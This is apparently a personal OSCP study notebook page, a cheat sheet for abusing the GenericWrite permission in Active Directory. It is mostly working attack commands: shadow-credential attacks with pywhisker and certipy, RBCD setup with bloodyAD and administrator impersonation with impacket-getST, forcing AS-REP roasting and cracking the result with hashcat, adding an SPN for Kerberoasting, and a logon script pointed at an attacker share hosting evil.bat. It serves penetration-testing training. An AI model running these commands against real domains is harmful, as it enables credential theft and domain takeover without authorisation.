Pearson's OSCP Notebook

GenericWrite

Properties2
tagsgenericwrite, ad-permissions, acl-abuse, bloodhound, shadow-credentials, rbcd
aliasesGenericWrite

2 min read

GenericWrite — AD Permission Abuse

Ctrl+F: GenericWrite · shadow credentials · RBCD · SPN

External: Internal All The Things — RBCD

GenericWrite lets you modify most attributes on an object — not full control like GenericAll, but enough for several high-impact chains.

Owned User
   │
GenericWrite
   ▼
Target User / Computer

Your first thought:

“Can I become this user or take over this computer?”

📌 Target → exploit chain

TargetAbuseFull walkthrough
UserShadow Credentials → NT hash / TGTShadow Credentials - pywhisker
UserShadow Credentials (Kali one-liner)Certipy & Certify > 📌 Shadow Credentials (certipy-ad)
UserAdd SPN → KerberoastKerberoast (targetedKerberoast.py) · bloodyAD set SPN
UserDONT_REQ_PREAUTH → AS-REP roastKerberoast · Kerberos Scripts > GetNPUsers
ComputerRBCD → impersonate DA on hostbloodyAD > add rbcd · Kerberos Scripts getST

Cannot reliably reset another user’s password with GenericWrite alone → use ForceChangePassword or GenericAll instead.

📌 Execute — Shadow Credentials (most common)

Full chain → Shadow Credentials - pywhisker

# pywhisker (GenericWrite on target user)
python3 pywhisker.py -d domain.htb -u attacker -p 'PASS' --target victim --action add
 
# Or Certipy
certipy-ad shadow auto -u attacker@domain.htb -p 'PASS' -dc-ip DC_IP -account victim

📌 Execute — RBCD (computer target)

Full chain → bloodyAD > add rbcd — Resource-Based Constrained Delegation

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add computer EVIL$ 'Pass123!'
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add rbcd TARGET$ EVIL$
 
impacket-getST -spn cifs/TARGET.domain.htb -impersonate administrator \
  -dc-ip DC_IP domain.htb/EVIL$:'Pass123!'

📌 Execute — AS-REP roastable flag

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add uac victim -f DONT_REQ_PREAUTH
 
impacket-GetNPUsers domain.htb/victim -dc-ip DC_IP -no-pass
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

📌 Execute — Windows (PowerView)

# Add SPN → Kerberoast
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/domain.htb'}
 
# Logon script (older privesc)
Set-DomainObject -Identity victim -Set @{scriptpath='\\attacker\share\evil.bat'}

📌 Quick cheat sheet

# Shadow creds
python3 pywhisker.py -d domain.htb -u user -p 'PASS' --target victim --action add
 
# RBCD
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add rbcd TARGET$ EVIL$
 
# AS-REP
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add uac victim -f DONT_REQ_PREAUTH

Graph View

Backlinks